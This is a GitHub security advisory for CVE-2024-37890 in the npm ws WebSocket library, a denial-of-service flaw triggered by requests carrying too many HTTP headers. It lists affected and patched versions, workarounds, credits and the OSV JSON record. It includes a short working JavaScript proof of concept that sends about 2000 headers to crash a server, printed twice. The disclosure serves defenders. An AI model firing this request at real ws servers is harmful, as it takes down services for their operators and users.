ghsa-3h5v-q93c-6h6q
Vulnerability from github
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Impact
A request with a number of headers exceeding the[server.maxHeadersCount
][] threshold could be used to crash a ws server.
Proof of concept
```js const http = require('http'); const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;
for (let i = 0; i < chars.length; i++) { if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';
const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });
request.end(); }); ```
Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the [
--max-http-header-size=size
][] and/or the [maxHeaderSize
][] options so that no more headers than theserver.maxHeadersCount
limit can be sent. - Set
server.maxHeadersCount
to0
so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
- https://github.com/websockets/ws/issues/2230
- https://github.com/websockets/ws/pull/2231
{ "affected": [ { "package": { "ecosystem": "npm", "name": "ws" }, "ranges": [ { "events": [ { "introduced": "2.1.0" }, { "fixed": "5.2.4" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "ws" }, "ranges": [ { "events": [ { "introduced": "6.0.0" }, { "fixed": "6.2.3" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "ws" }, "ranges": [ { "events": [ { "introduced": "7.0.0" }, { "fixed": "7.5.10" } ], "type": "ECOSYSTEM" } ] }, { "package": { "ecosystem": "npm", "name": "ws" }, "ranges": [ { "events": [ { "introduced": "8.0.0" }, { "fixed": "8.17.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-37890" ], "database_specific": { "cwe_ids": [ "CWE-476" ], "github_reviewed": true, "github_reviewed_at": "2024-06-17T19:09:10Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Impact\n\nA request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server.\n\n### Proof of concept\n\n```js\nconst http = require(\u0027http\u0027);\nconst WebSocket = require(\u0027ws\u0027);\n\nconst wss = new WebSocket.Server({ port: 0 }, function () {\n const chars = \"!#$%\u0026\u0027*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~\".split(\u0027\u0027);\n const headers = {};\n let count = 0;\n\n for (let i = 0; i \u003c chars.length; i++) {\n if (count === 2000) break;\n\n for (let j = 0; j \u003c chars.length; j++) {\n const key = chars[i] + chars[j];\n headers[key] = \u0027x\u0027;\n\n if (++count === 2000) break;\n }\n }\n\n headers.Connection = \u0027Upgrade\u0027;\n headers.Upgrade = \u0027websocket\u0027;\n headers[\u0027Sec-WebSocket-Key\u0027] = \u0027dGhlIHNhbXBsZSBub25jZQ==\u0027;\n headers[\u0027Sec-WebSocket-Version\u0027] = \u002713\u0027;\n\n const request = http.request({\n headers: headers,\n host: \u0027127.0.0.1\u0027,\n port: wss.address().port\n });\n\n request.end();\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)\n\n### Workarounds\n\nIn vulnerable versions of ws, the issue can be mitigated in the following ways:\n\n1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent.\n2. Set `server.maxHeadersCount` to `0` so that no limit is applied.\n\n### Credits\n\nThe vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230.\n\n### References\n\n- https://github.com/websockets/ws/issues/2230\n- https://github.com/websockets/ws/pull/2231\n\n[`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize\n[`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener\n[`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount\n", "id": "GHSA-3h5v-q93c-6h6q", "modified": "2024-06-17T19:09:10Z", "published": "2024-06-17T19:09:10Z", "references": [ { "type": "WEB", "url": "https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q" }, { "type": "WEB", "url": "https://github.com/websockets/ws/issues/2230" }, { "type": "WEB", "url": "https://github.com/websockets/ws/pull/2231" }, { "type": "WEB", "url": "https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f" }, { "type": "WEB", "url": "https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e" }, { "type": "WEB", "url": "https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c" }, { "type": "WEB", "url": "https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63" }, { "type": "PACKAGE", "url": "https://github.com/websockets/ws" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" }, { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "ws affected by a DoS when handling a request with many HTTP headers" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.